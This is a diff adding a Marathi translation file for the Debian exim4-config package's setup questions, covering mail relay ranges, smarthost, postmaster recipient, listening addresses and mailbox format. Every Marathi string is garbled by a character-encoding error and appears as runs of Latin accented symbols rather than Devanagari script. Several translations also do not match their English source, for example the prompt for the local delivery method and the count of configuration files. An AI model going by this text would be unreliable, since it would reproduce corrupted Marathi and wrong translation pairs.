+#. Description
+#: ../exim4-config.templates:6001
+msgid ""
+"Please enter a semicolon-separated list of IP address ranges for which this "
+"system will unconditionally relay mail, functioning as a smarthost."
+msgstr ""
+"सà¥à¤®à¤¾à¤°à¥à¤Ÿà¤¹à¥‰à¤¸à¥à¤Ÿ मà¥à¤¹à¤£à¥‚न कारà¥à¤¯ करून जà¥à¤¯à¤¾à¤‚चà¥à¤¯à¤¾à¤¸à¤¾à¤ à¥€ ही पà¥à¤°à¤£à¤¾à¤²à¥€ विनाअट टपाल हसà¥à¤¤à¤¾à¤‚तरित करेल,अशा "
+"आयपी पतà¥à¤¤à¥à¤¯à¤¾à¤‚ची अरà¥à¤§à¤µà¤¿à¤°à¤¾à¤®à¤¾à¤¨à¥‡ विलग केलेली यादी दà¥à¤¯à¤¾."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:6001
+msgid ""
+"You should use the standard address/prefix format (e.g. 194.222.242.0/24 or "
+"5f03:1200:836f::/48)."
+msgstr ""
+"काही असलà¥à¤¯à¤¾à¤¸ विसरà¥à¤—ांनी वेगळे करून तà¥à¤¯à¤¾à¤‚ची इथे नोंद करा. आपण पà¥à¤°à¤®à¤¾à¤£à¤¿à¤¤ पतà¥à¤¤à¤¾/लांबी संरूप "
+"वापरणे आवशà¥à¤¯à¤• आहे (उदा. १९४.२२२.२४२.०/२४)."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:6001
+msgid ""
+"If this system should not be a smarthost for any other host, leave this list "
+"blank."
+msgstr ""
+"जर ही पà¥à¤°à¤£à¤¾à¤²à¥€ कोणतà¥à¤¯à¤¾à¤¹à¥€ इतर यजमानाकरिता सà¥à¤®à¤¾à¤°à¥à¤Ÿà¤¹à¥‹à¤¸à¥à¤Ÿ होणार नसेल तर, ही यादी रिकामी "
+"ठेवा."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:7001
+msgid "Visible domain name for local users:"
+msgstr "सà¥à¤¥à¤¾à¤¨à¤¿à¤• वापरकरà¥à¤¤à¥à¤¯à¤¾à¤‚साठी दृषà¥à¤¯ डोमेन नाव:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:7001
+msgid ""
+"The option to hide the local mail name in outgoing mail was enabled. It is "
+"therefore necessary to specify the domain name this system should use for "
+"the domain part of local users' sender addresses."
+msgstr ""
+"पाहेर जाणाऱà¥à¤¯à¤¾ संदेशांमधे सà¥à¤¥à¤¾à¤¨à¤¿à¤• संदेश नाम लपवणà¥à¤¯à¤¾à¤šà¤¾ परà¥à¤¯à¤¾à¤¯ कारà¥à¤¯à¤¸à¤•à¥à¤·à¤® केला गेला आहे. "
+"तà¥à¤¯à¤¾à¤®à¥à¤³à¥‡, सà¥à¤¥à¤¾à¤¨à¤¿à¤• वापरकरà¥à¤¤à¥à¤¯à¤¾à¤šà¥à¤¯à¤¾ 'पाठवणाऱà¥à¤¯à¤¾à¤šà¥‡ पतà¥à¤¤à¥‡ मधील डोमेन भागाकरिता पà¥à¤°à¤£à¤¾à¤²à¥€à¤¨à¥‡ "
+"वापरायचे डोमेन नाव निरà¥à¤§à¤¾à¤°à¤¿à¤¤ करणे आवशà¥à¤¯à¤• आहे."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:8001
+msgid "IP address or host name of the outgoing smarthost:"
+msgstr "बाहेर जाणाऱà¥à¤¯à¤¾ सà¥à¤®à¤¾à¤°à¥à¤Ÿà¤¹à¥‰à¤¸à¥à¤Ÿà¤šà¤¾ आयपी पतà¥à¤¤à¤¾ किंवा हॉसà¥à¤Ÿ नाव:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:8001
+msgid ""
+"Please enter the IP address or the host name of a mail server that this "
+"system should use as outgoing smarthost. If the smarthost only accepts your "
+"mail on a port different from TCP/25, append two colons and the port number "
+"(for example smarthost.example::587 or 192.168.254.254::2525). Colons in "
+"IPv6 addresses need to be doubled."
+msgstr ""
+"बाहेर जाणारा सà¥à¤®à¤¾à¤°à¥à¤Ÿà¤¹à¥‰à¤¸à¥à¤Ÿ मà¥à¤¹à¤£à¥‚न पà¥à¤°à¤£à¤¾à¤²à¥€à¤¤à¤°à¥à¤«à¥‡ वापरला जाईल अशा टपाल परिसेवकाचा आयपी "
+"पतà¥à¤¤à¥à¤¾ किंवा यजमान नाव दà¥à¤¯à¤¾. जर हा सà¥à¤®à¤¾à¤°à¥à¤Ÿà¤¹à¥‰à¤¸à¥à¤Ÿ टीसीपी २५ à¤à¥‡à¤µà¤œà¥€ फकà¥à¤¤ अनà¥à¤¯ पोरà¥à¤Ÿ वरच "
+"टपाल सà¥à¤µà¥€à¤•à¤¾à¤°à¤¤ असेल तर दोन सà¥à¤¤à¤‚भ व पोरà¥à¤Ÿ कà¥à¤°à¤®à¤¾à¤‚क जोडा (उदाहरणारà¥à¤¥ सà¥à¤®à¤¾à¤°à¥à¤Ÿà¤¹à¥‰à¤¸à¥à¤Ÿ "
+"उदाहरण::५८७ किंवा ९२ १६८ २५४ २५४::२५२५). आयपीवà¥à¤¹à¥€à¥¬ पतà¥à¤¤à¥à¤¯à¤¾à¤‚मधील विराम दà¥à¤ªà¥à¤ªà¤Ÿ करणे "
+"गरजेचे आहे."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:8001
+msgid ""
+"If the smarthost requires authentication, please refer to the Debian-"
+"specific README files in /usr/share/doc/exim4-base for notes about setting "
+"up SMTP authentication."
+msgstr ""
+"à¤à¤¸à¤à¤®à¤Ÿà¥€à¤ªà¥€ पà¥à¤°à¤®à¤¾à¤£à¤¨ संरचित करणà¥à¤¯à¤¾à¤¸à¤¾à¤ à¥€à¤šà¥à¤¯à¤¾ माहितीकरिता /वापरकरà¥à¤¤à¤¾/सामायिक/दसà¥à¤¤à¤¾à¤µà¥‡à¤œ/"
+"à¤à¤•à¥à¤à¤¿à¤®à¥ª-पाया/माहितीवाचा.डेबियन.à¤à¤šà¤Ÿà¥€à¤à¤®à¤à¤² पहा."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+msgid "Root and postmaster mail recipient:"
+msgstr "मूल आणी पोसà¥à¤Ÿà¤®à¤¾à¤¸à¥à¤Ÿà¤° सà¥à¤µà¥€à¤•à¤¾à¤°à¤•à¤°à¥à¤¤à¤¾:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+msgid ""
+"Mail for the 'postmaster', 'root', and other system accounts needs to be "
+"redirected to the user account of the actual system administrator."
+msgstr ""
+"'पोसà¥à¤Ÿà¤®à¤¾à¤¸à¥à¤Ÿà¤°', 'मूल', व पà¥à¤°à¤£à¤¾à¤²à¥€à¤šà¥à¤¯à¤¾ इतर खातà¥à¤¯à¤¾à¤‚चे टपाल पà¥à¤°à¤¤à¥à¤¯à¤•à¥à¤·à¤¾à¤¤à¥€à¤² पà¥à¤°à¤£à¤¾à¤²à¥€ पà¥à¤°à¤¶à¤¾à¤¸à¤•à¤¾à¤šà¥à¤¯à¤¾ "
+"वापरकरà¥à¤¤à¤¾ खातà¥à¤¯à¤¾à¤¤ पà¥à¤¨à¤°à¥à¤¨à¤¿à¤°à¥à¤¦à¥‡à¤¶à¤¿à¤¤ करणे गरजेचे आहे."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+msgid ""
+"If this value is left empty, such mail will be saved in /var/mail/mail, "
+"which is not recommended."
+msgstr ""
+"हे मूलà¥à¤¯ रिकà¥à¤¤ ठेवलà¥à¤¯à¤¾à¤¸, असे टपाल /वà¥à¤¹à¤¾à¤°/मेल/मेल मधे संचयित केले जाईल, जे शिफारसपातà¥à¤° नाही."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+msgid ""
+"Note that postmaster's mail should be read on the system to which it is "
+"directed, rather than being forwarded elsewhere, so (at least one of) the "
+"users listed here should not redirect their mail off this machine. A 'real-' "
+"prefix can be used to force local delivery."
+msgstr ""
+"\"पोसà¥à¤Ÿà¤®à¤¾à¤¸à¥à¤Ÿà¤°\", \"मूल\", आणी इतर पà¥à¤°à¤£à¤¾à¤²à¥€ खाती यांचे टपाल बहà¥à¤¦à¤¾ पà¥à¤°à¤¤à¥à¤¯à¤•à¥à¤·à¤¾à¤¤à¥€à¤² पà¥à¤°à¤£à¤¾à¤²à¥€ "
+"पà¥à¤°à¤¶à¤¾à¤¸à¤•à¤¾à¤šà¥à¤¯à¤¾ वापरकरà¥à¤¤à¤¾ खातà¥à¤¯à¤¾à¤®à¤§à¥‡ पà¥à¤¨à¤°à¥à¤¨à¤¿à¤°à¥à¤¦à¥‡à¤¶à¤¿à¤¤ केले जाते. जर आपण हे मूलà¥à¤¯ रिकà¥à¤¤ ठेवले, तर असे "
+"टपाल /वà¥à¤¹à¤¾à¤°/टपाल/टपाल संचित होईल, जे अयोगà¥à¤¯ वाटते. पोसà¥à¤Ÿà¤®à¤¾à¤¸à¥à¤Ÿà¤°à¤šà¥‡ टपाल दà¥à¤¸à¤°à¥€à¤•à¤¡à¥‡ पाठवले न "
+"जाता, जà¥à¤¯à¤¾ पà¥à¤°à¤£à¤¾à¤²à¥€à¤•à¤¡à¥‡ निरà¥à¤¦à¥‡à¤¶à¤¿à¤¤ केले आहे, तेथेच वाचले गेले पाहिजे, हे लकà¥à¤·à¤¾à¤¤ घà¥à¤¯à¤¾. मà¥à¤¹à¤£à¥‚नच आपण "
+"निवडत असलेलà¥à¤¯à¤¾ वापरकरà¥à¤¤à¥à¤¯à¤¾à¤‚नी (किमान à¤à¤•à¤¾à¤¨à¥‡ तरी) तà¥à¤¯à¤¾à¤‚चे टपाल या मशीनकडून पà¥à¤¨à¤°à¥à¤¨à¤¿à¤°à¥à¤¦à¥‡à¤¶à¤¿à¤¤ "
+"करता कामा नये. बळाने सà¥à¤¥à¤¾à¤¨à¤¿à¤• बटवडा करणà¥à¤¯à¤¾à¤¸à¤¾à¤ à¥€ \"वासà¥à¤¤à¤µà¤¿à¤•-\" पूरà¥à¤µà¤ªà¥à¤°à¤¤à¥à¤¯à¤¯ वापरा."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+msgid "Multiple user names need to be separated by spaces."
+msgstr "रिकà¥à¤¤ जागांनी विलग केलेली à¤à¤• वा अनेक वापरकरà¥à¤¤à¤¾ नावे दà¥à¤¯à¤¾."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:10001
+msgid "IP-addresses to listen on for incoming SMTP connections:"
+msgstr "येणाऱà¥à¤¯à¤¾ à¤à¤¸à¤à¤®à¤Ÿà¥€à¤ªà¥€ जोडणà¥à¤¯à¤¾ ऎकणà¥à¤¯à¤¾à¤•à¤°à¤¿à¤¤à¤¾ आय-पी पतà¥à¤¤à¥‡:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:10001
+msgid ""
+"Please enter a semicolon-separated list of IP addresses. The Exim SMTP "
+"listener daemon will listen on all IP addresses listed here."
+msgstr ""
+"अरà¥à¤§à¤µà¤¿à¤°à¤¾à¤®à¤¾à¤¨à¥‡ विलग केलेली आयपी पतà¥à¤¤à¥à¤¯à¤¾à¤‚ची यादी दà¥à¤¯à¤¾. à¤à¤•à¥à¤à¤¿à¤® à¤à¤¸à¤à¤®à¤Ÿà¥€à¤ªà¥€ चा à¤à¥‡à¤•à¤£à¥à¤¯à¤¾à¤šà¤¾ "
+"कारà¥à¤¯à¤•à¥à¤°à¤® या यादीतील सरà¥à¤µ आयपी पतà¥à¤¤à¥à¤¯à¤¾à¤‚ना à¤à¥‡à¤•à¥‡à¤²."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:10001
+msgid ""
+"An empty value will cause Exim to listen for connections on all available "
+"network interfaces."
+msgstr ""
+"जर आपण हे मूलà¥à¤¯ रिकà¥à¤¤ ठेवले, तर à¤à¤¸à¤à¤®à¤Ÿà¥€à¤ªà¥€ पोरà¥à¤Ÿà¤µà¤°à¥€à¤² सरà¥à¤µ उपलबà¥à¤§ नेटवरà¥à¤• अंतराफलकांचà¥à¤¯à¤¾ "
+"जोडणà¥à¤¯à¤¾ à¤à¤•à¥à¤à¤¿à¤® ऎकेल."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:10001
+msgid ""
+"If this system only receives mail directly from local services (and not from "
+"other hosts), it is suggested to prohibit external connections to the local "
+"Exim daemon. Such services include e-mail programs (MUAs) which talk to "
+"localhost only as well as fetchmail. External connections are impossible "
+"when 127.0.0.1 is entered here, as this will disable listening on public "
+"network interfaces."
+msgstr ""
+"जर या संगणकाला इतर यजमानांकडून दर à¤à¤¸à¤à¤®à¤Ÿà¥€à¤ªà¥€ थेट टपाल येत नसेल, पण फेचमेल वा "
+"सà¥à¤¥à¤¾à¤¨à¤¿à¤•à¤¯à¤œà¤®à¤¾à¤¨ शी बोलणाऱà¥à¤¯à¤¾ तà¥à¤®à¤šà¥à¤¯à¤¾ इ-मेल पà¥à¤°à¥‹à¤—à¥à¤°à¥…म (à¤à¤®à¤¯à¥‚à¤) सारखà¥à¤¯à¤¾ सà¥à¤¥à¤¾à¤¨à¤¿à¤• सेवांकडून येत "
+"असेल, तर आपण हा परà¥à¤¯à¤¾à¤¯ १२७.०.०.१ ठेऊन व तà¥à¤¯à¤¾à¤®à¥à¤³à¥‡ सारà¥à¤µà¤œà¤¨à¤¿à¤• नेटवरà¥à¤• अंतराफलकांना à¤à¥†à¤•à¤£à¥‡ "
+"अकà¥à¤·à¤® करून à¤à¤•à¥à¤à¤¿à¤®à¤šà¥à¤¯à¤¾ बाहà¥à¤¯ जोडणà¥à¤¯à¤¾à¤‚ना पà¥à¤°à¤¤à¤¿à¤¬à¤‚ध केला पाहिजे."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:11001
+msgid "Keep number of DNS-queries minimal (Dial-on-Demand)?"
+msgstr "डीà¤à¤¨à¤à¤¸-चौकशा संखà¥à¤¯à¤¾ कमितकमी ठेवायची (डायल-ऑन-डिमांड)?"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:11001
+msgid ""
+"In normal mode of operation Exim does DNS lookups at startup, and when "
+"receiving or delivering messages. This is for logging purposes and allows "
+"keeping down the number of hard-coded values in the configuration."
+msgstr ""
+"पà¥à¤°à¤šà¤¾à¤²à¤¨à¤¾à¤šà¥à¤¯à¤¾ नेहमीचà¥à¤¯à¤¾ पदà¥à¤§à¤¤à¥€à¤¤ à¤à¤•à¥à¤à¤¿à¤® पà¥à¤°à¤¾à¤°à¤‚भ होताना जेंवà¥à¤¹à¤¾ संदेशांची देवाण वा घेवाण इतà¥à¤¯à¤¾à¤¦à¥€ "
+"होते, नोंदींचà¥à¤¯à¤¾ उदà¥à¤¦à¥‡à¤¶à¤¾à¤¨à¥‡ आणी विनà¥à¤¯à¤¾à¤¸ फाइल मधील हारà¥à¤¡-कोडेड मूलà¥à¤¯à¤¾à¤‚ची संखà¥à¤¯à¤¾ कमी ठेवावà¥à¤¯à¤¾ "
+"मà¥à¤¹à¤£à¥‚न तेंवà¥à¤¹à¤¾à¤¡à¥€à¤à¤¨à¤à¤¸-पहाणà¥à¤¯à¤¾ करते."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:11001
+msgid ""
+"If this system does not have a DNS full service resolver available at all "
+"times (for example if its Internet access is a dial-up line using dial-on-"
+"demand), this might have unwanted consequences. For example, starting up "
+"Exim or running the queue (even with no messages waiting) might trigger a "
+"costly dial-up-event."
+msgstr ""
+"जर हा डायल-ऑन-डिमांड वापरणारा सà¥à¤¥à¤¾à¤¯à¥€ डीà¤à¤¨à¤à¤¸-नावपरिसेवक-मà¥à¤­à¤¾ नसलेला यजमान असता, तर "
+"याचे अनावशà¥à¤¯à¤• परिणाम असे à¤à¤¾à¤²à¥‡ असते की, à¤à¤•à¥à¤à¤¿à¤® सà¥à¤°à¥‚ होताना वा रांग चालू करताना (कोणताच "
+"संदेश थांबलेला नसतानाही) महागडी डायल-अप-घटना कदाचित चालू à¤à¤¾à¤²à¥€ असती."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:11001
+msgid ""
+"This option should be selected if this system is using Dial-on-Demand. If it "
+"has always-on Internet access, this option should be disabled."
+msgstr ""
+"ही पà¥à¤°à¤£à¤¾à¤²à¥€ डायल-ऑन-डिमांड वापरत असेल, तर हा परà¥à¤¯à¤¾à¤¯ निवडा. जर कायम सà¥à¤°à¥‚ असणारी "
+"महाजाल जोडणी असेल तर हा परà¥à¤¯à¤¾à¤¯ कारà¥à¤¯à¤…कà¥à¤·à¤® केला पाहिजे."
+
+#. Type: title
+#. Description
+#: ../exim4-config.templates:12001
+msgid "Mail Server configuration"
+msgstr "सरà¥à¤µà¤¸à¤¾à¤§à¤¾à¤°à¤£ पà¥à¤°à¤•à¤¾à¤°à¤šà¤¾ टपाल विनà¥à¤¯à¤¾à¤¸:"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:13001
+msgid "Split configuration into small files?"
+msgstr "संरचनेचे छोटà¥à¤¯à¤¾ फायलींमधे विभाजन करायचे?"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:13001
+msgid ""
+"The Debian exim4 packages can either use 'unsplit configuration', a single "
+"monolithic file (/etc/exim4/exim4.conf.template) or 'split configuration', "
+"where the actual Exim configuration files are built from about 50 smaller "
+"files in /etc/exim4/conf.d/."
+msgstr ""
+"अंतिम संरचना निरà¥à¤®à¤¿à¤¤à¥€à¤•à¤°à¤¿à¤¤à¤¾ डेबियन à¤à¤•à¥à¤à¤¿à¤®à¥ª पॅकेजेसॠà¤à¤•à¤¤à¤° à¤à¤•à¤Ÿà¥€ à¤à¤•à¤¸à¤‚ध (मोनोलिथिक) फाइल (/"
+"इटीसी/à¤à¤•à¥à¤à¤¿à¤®à¥ª/à¤à¤•à¥à¤à¤¿à¤®à¥ª.रचना.नमà¥à¤¨à¤¾) किंवा /इटीसी/à¤à¤•à¥à¤à¤¿à¤®à¥ª/रचना.डी मधील अदमासे ४० लहान "
+"फायली वापरू शकतात."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:13001
+msgid ""
+"Unsplit configuration is better suited for large modifications and is "
+"generally more stable, whereas split configuration offers a comfortable way "
+"to make smaller modifications but is more fragile and might break if "
+"modified carelessly."
+msgstr ""
+"आधीची मोठया बदलांकरिता जासà¥à¤¤ सोयीची आहे, व साधारणतः अधिक सà¥à¤¥à¤¿à¤° आहे, याउलट नंतरची "
+"लहानसहान बदलांकरिता उपयà¥à¤•à¥à¤¤ आहे पण ती जासà¥à¤¤ नाजà¥à¤• आहे, आणी अधिक पà¥à¤°à¤®à¤¾à¤£à¤¾à¤¤ बदललà¥à¤¯à¤¾à¤¸ मोडू "
+"शकेल."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:13001
+msgid ""
+"A more detailed discussion of split and unsplit configuration can be found "
+"in the Debian-specific README files in /usr/share/doc/exim4-base."
+msgstr ""
+"/यूà¤à¤°/शेअर/डॉक/à¤à¤•à¥à¤à¤¿à¤®à¥ª-बेस मधील डेबियन-विशिषà¥à¤  वाचा फायलींमधे विलग व अविलग "
+"संरचनेसंदरà¥à¤­à¤¾à¤¤ अधिक विसà¥à¤¤à¥ƒà¤¤ तपशिल मिळेल."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:14001
+msgid "Hide local mail name in outgoing mail?"
+msgstr "बाहेर पाठवलà¥à¤¯à¤¾ जाणाऱà¥à¤¯à¤¾ पतà¥à¤°à¤¾à¤‚मधील सà¥à¤¥à¤¾à¤¨à¤¿à¤• टपाल नाव लपवायचे?"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:14001
+msgid ""
+"The headers of outgoing mail can be rewritten to make it appear to have been "
+"generated on a different system. If this option is chosen, '${mailname}', "
+"'localhost' and '${dc_other_hostnames}' in From, Reply-To, Sender and Return-"
+"Path are rewritten."
+msgstr ""
+"वेगळà¥à¤¯à¤¾ पà¥à¤°à¤£à¤¾à¤²à¥€à¤®à¤§à¥‚न निरà¥à¤®à¤¾à¤£ à¤à¤¾à¤²à¥à¤¯à¤¾à¤šà¥‡ भासवणà¥à¤¯à¤¾à¤•à¤°à¤¿à¤¤à¤¾ बाहेर जाणाऱà¥à¤¯à¤¾ टपालाची शीरà¥à¤·à¤•à¥‡ कडून, "
+"कडे-उतà¥à¤¤à¤°, पाठवणारा आणी परत-मारà¥à¤— यांतील \"${टपालनाव}\" \"सà¥à¤¥à¤¾à¤¨à¤¿à¤•à¤¯à¤œà¤®à¤¾à¤¨\" आणी "
+"\"${डीसी_इतर_यजमाननावे}\" बदलून पà¥à¤¨à¤°à¥à¤²à¥‡à¤–ित करता येतील."
+
+#. Type: select
+#. Choices
+#: ../exim4-config.templates:15001
+msgid "mbox format in /var/mail/"
+msgstr "/वà¥à¤¹à¤¾à¤°/मेल मधे à¤à¤®à¤¬à¥‰à¤•à¥à¤¸ सà¥à¤µà¤°à¥‚प"
+
+#. Type: select
+#. Choices
+#: ../exim4-config.templates:15001
+msgid "Maildir format in home directory"
+msgstr "गृह निरà¥à¤¦à¤¿à¤¶à¤¿à¤•à¥‡à¤¤ मेलडिर सà¥à¤µà¤°à¥‚प"
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:15002
+msgid "Delivery method for local mail:"
+msgstr "टपाल सà¥à¤®à¤¾à¤°à¥à¤Ÿà¤¹à¥‹à¤¸à¥à¤Ÿà¤¨à¥‡ पाठवले; सà¥à¤¥à¤¾à¤¨à¤¿à¤• पतà¥à¤° नाही"
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:15002
+msgid ""
+"Exim is able to store locally delivered email in different formats. The most "
+"commonly used ones are mbox and Maildir. mbox uses a single file for the "
+"complete mail folder stored in /var/mail/. With Maildir format every single "
+"message is stored in a separate file in ~/Maildir/."
+msgstr ""
+"सà¥à¤¥à¤¾à¤¨à¤¿à¤•à¤°à¤¿à¤¤à¥à¤¯à¤¾ वितरित केलेली ई-पतà¥à¤°à¥‡ à¤à¤•à¥à¤à¤¿à¤® विविध सà¥à¤µà¤°à¥à¤ªà¤¾à¤¤ संचयित करू शकतो. नेहमी वपरली "
+"जाणारी मà¥à¤¹à¤£à¤œà¥‡ à¤à¤®à¤¬à¥‰à¤•à¥à¤¸ व मेलडिर. à¤à¤®à¤¬à¥‰à¤•à¥à¤¸ /वà¥à¤¹à¤¾à¤°/मेल/ मधे संचयित केलेलà¥à¤¯à¤¾ संपूरà¥à¤£ टपाल फोलà¥à¤¡à¤° "
+"करिता à¤à¤•à¤š संचयिका वापरते. मेलडिर सà¥à¤µà¤°à¥‚पात पà¥à¤°à¤¤à¥à¤¯à¥‡à¤• संदेश ~/मेलडिर मधे वेगवेगळà¥à¤¯à¤¾ संचयिकेत "
+"संचयित केला जातो."
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:15002
+msgid ""
+"Please note that most mail tools in Debian expect the local delivery method "
+"to be mbox in their default."
+msgstr ""
+"डेबियन मधील बहà¥à¤¤à¥‡à¤• सरà¥à¤µ टपाल कारà¥à¤¯à¤•à¥à¤°à¤®à¤¾à¤‚ना सà¥à¤¥à¤¾à¤¨à¤¿à¤• वितरण पदà¥à¤§à¤¤ मूलनिरà¥à¤§à¤¾à¤°à¤¿à¤¤à¤ªà¤£à¥‡ à¤à¤®à¤¬à¥‰à¤•à¥à¤¸ "
+"मधे असणे अपेकà¥à¤·à¤¿à¤¤ असते, हे लकà¥à¤·à¤¾à¤¤ घà¥à¤¯à¤¾."
+
+#~ msgid "Overwrite existing /etc/aliases?"
+#~ msgstr "असà¥à¤¤à¤¿à¤¤à¥à¤µà¤¾à¤¤à¥€à¤² /इटीसी/उरà¥à¤«à¤¨à¤¾à¤µà¥‡ वर पà¥à¤¨à¤°à¥à¤²à¥‡à¤–न करायचे?"
+
+#~ msgid ""
+#~ "An /etc/aliases file was found on the system, but it does not redirect "
+#~ "mail for root to a user account, which is strongly recommended."
+#~ msgstr ""
+#~ "आपलà¥à¤¯à¤¾à¤•à¤¡à¥‡ आधीच /इटीसी/उरà¥à¤«à¤¨à¤¾à¤µà¥‡ फाइल आहे, पण ती मूल साठीचे टपाल वापरकरà¥à¤¤à¤¾ खातà¥à¤¯à¤¾à¤®à¤§à¥‡ "
+#~ "पà¥à¤¨à¤°à¥à¤¨à¤¿à¤°à¥à¤¦à¥‡à¤¶à¤¿à¤¤ करत नाही, जे फार आवशà¥à¤¯à¤• आहे. तिचà¥à¤¯à¤¾à¤µà¤° पà¥à¤¨à¤°à¥à¤²à¥‡à¤–न करणे आपलà¥à¤¯à¤¾à¤²à¤¾ मानà¥à¤¯ असेल, "
+#~ "तर जà¥à¤¨à¥à¤¯à¤¾ फाइलचे उरà¥à¤«à¤¨à¤¾à¤µà¥‡.ओ असे पà¥à¤¨à¤°à¥à¤¨à¤¾à¤®à¤¾à¤‚कन करून ती ठेवणà¥à¤¯à¤¾à¤¤ येइल."
+
+#~ msgid ""
+#~ "Accepting this option will cause /etc/aliases to be overwritten, and the "
+#~ "old file will be renamed to aliases.O."
+#~ msgstr ""
+#~ "हा परà¥à¤¯à¤¾à¤¯ सà¥à¤µà¤¿à¤•à¤¾à¤°à¤²à¥à¤¯à¤¾à¤¸ /इटीसी/उरà¥à¤«à¤¨à¤¾à¤µà¥‡ पà¥à¤¨à¤°à¥à¤²à¥‡à¤–ित होईल, व जà¥à¤¨à¥à¤¯à¤¾ फाइलचे उरà¥à¤«à¤¨à¤¾à¤µà¥‡.ओ असे "
+#~ "पà¥à¤¨à¤°à¥à¤¨à¤¾à¤®à¤¾à¤‚कन केले जाईल."
+
+#~ msgid "Move undelivered mails from exim 3 to exim4 spool?"
+#~ msgstr "अजून पोचती न à¤à¤¾à¤²à¥‡à¤²à¥€ पतà¥à¤°à¥‡ à¤à¤•à¥à¤à¤¿à¤®(वà¥à¤¹à¥€à¥©) मधून à¤à¤•à¥à¤à¤¿à¤®à¥ª सà¥à¤ªà¥‚लमधे हलवायची?"
+
+#~ msgid ""
+#~ "Choosing this option will move these messages to exim4's spool (/var/"
+#~ "spool/exim4/input/) where they will be handled by exim4."
+#~ msgstr ""
+#~ "/वà¥à¤¹à¤¾à¤°/सà¥à¤ªà¥‚ल/à¤à¤•à¥à¤à¤¿à¤®/निवेश/ या à¤à¤•à¥à¤à¤¿à¤® वा à¤à¤•à¥à¤à¤¿à¤®-टीà¤à¤²à¤à¤¸ चà¥à¤¯à¤¾ सà¥à¤ªà¥‚ल निरà¥à¤¦à¥‡à¤¶à¤¿à¤•à¥‡à¤®à¤§à¥‡ काही अजून "
+#~ "पोचती न à¤à¤¾à¤²à¥‡à¤²à¥€ पतà¥à¤°à¥‡ आहेत. ती आता à¤à¤•à¥à¤à¤¿à¤®à¥ªà¤šà¥à¤¯à¤¾ सà¥à¤ªà¥‚लमधे (/वà¥à¤¹à¤¾à¤°/सà¥à¤ªà¥‚ल/à¤à¤•à¥à¤à¤¿à¤®à¥ª/निवेश/) "
+#~ "हलवता येतील, जेथे ती à¤à¤•à¥à¤à¤¿à¤®à¥ª दà¥à¤µà¤¾à¤°à¤¾ हाताळली जातील"
+
+#~ msgid ""
+#~ "Be aware that this works only one-way, exim4 can handle exim(v3)'s spool "
+#~ "but not the other way round."
+#~ msgstr ""
+#~ "हे à¤à¤•à¤¾à¤š दिशेने करता येते हे लकà¥à¤·à¤¾à¤¤ घà¥à¤¯à¤¾, à¤à¤•à¥à¤à¤¿à¤®à¥ª à¤à¤•à¥à¤à¤¿à¤®(वà¥à¤¹à¥€à¥©)चा सà¥à¤ªà¥‚ल हाताळू शकतो, पण "
+#~ "उलट होऊ शकत नाही"
+
+#~ msgid ""
+#~ "Move the mails only if you don't plan to go back to exim(v3), otherwise "
+#~ "the mail shouldn't be moved now but manually once you've converted your "
+#~ "setup."
+#~ msgstr ""
+#~ "à¤à¤•à¥à¤à¤¿à¤®(वà¥à¤¹à¥€à¥©) परत वापरणार नसाल तरच पतà¥à¤°à¥‡ हलवा, अनà¥à¤¯à¤¥à¤¾ पतà¥à¤°à¥‡ आताच न हलवता संरचना "
+#~ "परिवरà¥à¤¤à¤¨ à¤à¤¾à¤²à¥à¤¯à¤¾à¤¨à¤‚तर सà¥à¤µà¤¹à¤¸à¥à¤¤à¥‡ हलवावीत"
+
+#~ msgid "manually convert from handcrafted Exim v3 configuration"
+#~ msgstr "सà¥à¤µà¤¹à¤¸à¥à¤¤à¥‡ संरचना केलेलà¥à¤¯à¤¾ à¤à¤•à¥à¤à¤¿à¤® वà¥à¤¹à¥€à¥© मधून सà¥à¤µà¤¤à¤ƒà¤š परिवरà¥à¤¤à¤¿à¤¤ करा"
+
+#~ msgid "Configure Exim4 manually?"
+#~ msgstr "à¤à¤•à¥à¤à¤¿à¤®à¥ª सà¥à¤µà¤¹à¤¸à¥à¤¤à¥‡ संरचित करायची?"
+
+#~ msgid ""
+#~ "You indicated that you have a handcrafted Exim 3 configuration. To "
+#~ "convert this to Exim 4, you can use the exim_convert4r4(8) tool after the "
+#~ "installation. Consult /usr/share/doc/exim4-base/examples/example.conf.gz "
+#~ "and /usr/share/doc/exim4-base/README.Debian.gz!"
+#~ msgstr ""
+#~ "आपणांकडे à¤à¤•à¥à¤à¤¿à¤® ३ ची सà¥à¤µà¤¹à¤¸à¥à¤¤à¥‡ केलेली संरचना असलà¥à¤¯à¤¾à¤šà¥‡ आपण दरà¥à¤¶à¤µà¤²à¥‡ आहे. ही à¤à¤•à¥à¤à¤¿à¤® ४ मधे "
